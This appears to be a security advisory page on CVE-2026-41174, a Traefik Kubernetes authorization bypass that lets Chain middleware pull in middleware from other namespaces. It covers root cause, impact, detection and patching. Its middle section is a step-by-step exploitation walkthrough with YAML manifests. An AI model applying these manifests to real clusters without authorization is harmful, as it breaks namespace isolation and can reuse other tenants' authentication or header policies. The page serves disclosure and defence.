CVE-2026-41174: 
NixOS vulnerability analysis and mitigation

CVE-2026-41174 is an authorization bypass vulnerability in Traefik's Kubernetes CRD provider that allows unauthorized cross-namespace middleware binding. When providers.kubernetesCRD.allowCrossNamespace=false, Traefik correctly blocks direct cross-namespace middleware references from IngressRoute objects but fails to enforce the same restriction for middleware references nested inside a Chain middleware's spec.chain.middlewares[]. The vulnerability affects all Traefik versions prior to 2.11.43 and 3.0.0–3.6.13, as well as pre-release versions up to 3.7.0-rc.1. It was published on April 30, 2026, with patches released on April 22, 2026. The CVSS v3.1 base score is 6.4 (Medium), and the CVSS v4.0 base score is 4.8 (Medium) (GitHub Advisory, Traefik v3.6.14 Release).

The root cause is improper isolation or compartmentalization (CWE-653) combined with incorrect authorization (CWE-863) in Traefik's Kubernetes CRD provider. Direct middleware references from IngressRoute.routes[].middlewares[] are validated in pkg/provider/kubernetes/crd/kubernetes_http.go via makeMiddlewareKeys(), which correctly rejects cross-namespace references when allowCrossNamespace is disabled. However, the createChainMiddleware() function in pkg/provider/kubernetes/crd/kubernetes.go followed a separate code path that did not receive or enforce the allowCrossNamespace flag — it resolved mi.Namespace and appended makeID(ns, mi.Name) unconditionally, allowing the cross-namespace middleware to be loaded and applied at runtime. The fix (commit df00d82) passes allowCrossNamespace into createChainMiddleware() and calls isNamespaceAllowed() before resolving each middleware reference, rejecting the entire Chain and logging an error if a cross-namespace reference is detected (GitHub Commit, GitHub Advisory).

An actor with permission to create or update Traefik CRDs in their own namespace can cause Traefik to resolve and apply middleware objects from another namespace, bypassing the documented namespace isolation boundary. The practical impact depends on which middleware objects exist in the target namespace, but can include unauthorized reuse of security-sensitive middleware such as authentication/forward-auth handlers, header manipulation, request modification, and other traffic-handling policies intended to remain namespace-scoped. There is no direct availability impact, but confidentiality and integrity of subsequent systems are affected (low impact each), as sensitive middleware configurations from isolated namespaces can be applied to routes in an attacker-controlled namespace (GitHub Advisory).

A detailed proof-of-concept (PoC) with step-by-step YAML manifests is publicly available in the GitHub Security Advisory, demonstrating how to create a victim middleware in a target namespace, chain it from an attacker-controlled namespace, and observe Traefik accepting the configuration despite allowCrossNamespace=false (GitHub Advisory). Exploitation requires low privileges (permission to create/update Traefik CRDs in one namespace) and no user interaction. There is no evidence of in-the-wild exploitation at this time, and no threat actor attribution has been reported. The EPSS score is approximately 0.005% (very low), and the vulnerability is not listed in the CISA KEV catalog.

1. Prerequisites: Obtain permission to create or update Traefik CRDs (e.g., Middleware, IngressRoute) in a namespace you control (e.g., default). Confirm the target cluster runs Traefik with providers.kubernetesCRD.allowCrossNamespace=false (the default) and a vulnerable version (< 2.11.43 or 3.0.0–3.6.13).

2. Identify target middleware: Enumerate Traefik Middleware CRDs in other namespaces (e.g., cross-ns) that contain security-relevant configurations such as stripPrefix, forwardAuth, or header manipulation. This may require read access to those namespaces or knowledge of their naming conventions.

3. Create a Chain middleware in your namespace: Apply a Middleware of type Chain in your controlled namespace (e.g., default) that references the target middleware by name and namespace:

apiVersion: traefik.io/v1alpha1
kind: Middleware
metadata:
  name: mychain
  namespace: default
spec:
  chain:
    middlewares:
      - name: victim-strip
        namespace: cross-ns

4. Create an IngressRoute referencing only the local Chain: Apply an IngressRoute in your namespace that references only the local mychain middleware (not the cross-namespace middleware directly, which would be blocked):

apiVersion: traefik.io/v1alpha1
kind: IngressRoute
metadata:
  name: demo
  namespace: default
spec:
  entryPoints:
    - web
  routes:
    - match: Host(`example.test`) && PathPrefix(`/demo`)
      kind: Rule
      middlewares:
        - name: mychain
      services:
        - name: whoami
          port: 80

5. Observe bypass: Traefik accepts the configuration and resolves the chain to include the middleware from cross-ns, effectively applying it to traffic routed through default, bypassing the allowCrossNamespace=false restriction (GitHub Advisory).

• Kubernetes CRD Audit Logs: Audit log entries showing creation or modification of Middleware CRDs of type Chain in one namespace that reference spec.chain.middlewares[].namespace pointing to a different namespace.
• Traefik Logs (post-patch): After upgrading to a patched version, error log entries such as middleware <namespace>/<name> is not in the chain namespace <parentNamespace> indicate that previously exploited configurations are now being rejected.
• Configuration Review: Presence of Middleware CRDs with spec.chain.middlewares[] entries containing a namespace field that differs from the middleware's own namespace, in clusters where allowCrossNamespace=false.
• Traefik Runtime Behavior: Unexpected middleware behavior (e.g., authentication bypass, header stripping, or request modification) on routes that should not have access to middleware from other namespaces, suggesting cross-namespace middleware is being applied.

Upgrade Traefik to one of the patched versions: v2.11.43, v3.6.14, or v3.7.0-rc.2 (Traefik v2.11.43 Release, Traefik v3.6.14 Release, Traefik v3.7.0-rc.2 Release). Note that v3.6.14 and later treat this as a breaking change: any existing Chain middleware that references a middleware in a different namespace will now be rejected and an error logged, so review all Chain middleware configurations before upgrading. As a workaround prior to patching, restrict Kubernetes RBAC permissions so that only trusted actors can create or update Traefik CRDs, particularly Middleware resources, in any namespace. Additionally, audit existing Middleware CRDs for Chain objects with cross-namespace references and remove or remediate unauthorized configurations (GitHub Advisory).

Traefik maintainers published the security advisory (GHSA-xhjw-95fp-8vgq) and released patches on April 22, 2026, with the CVE formally published on April 30, 2026. The v3.6.14 release notes explicitly flag this fix as a breaking change for users who were inadvertently relying on the previous (incorrect) cross-namespace behavior, and direct users to review their Chain middleware configurations before upgrading (Traefik v3.6.14 Release). The Traefik community forum also published a security update announcement covering this and other CVEs fixed in the same release cycle (Traefik Community). Tenable added Nessus detection (plugin 311474) for this vulnerability shortly after disclosure.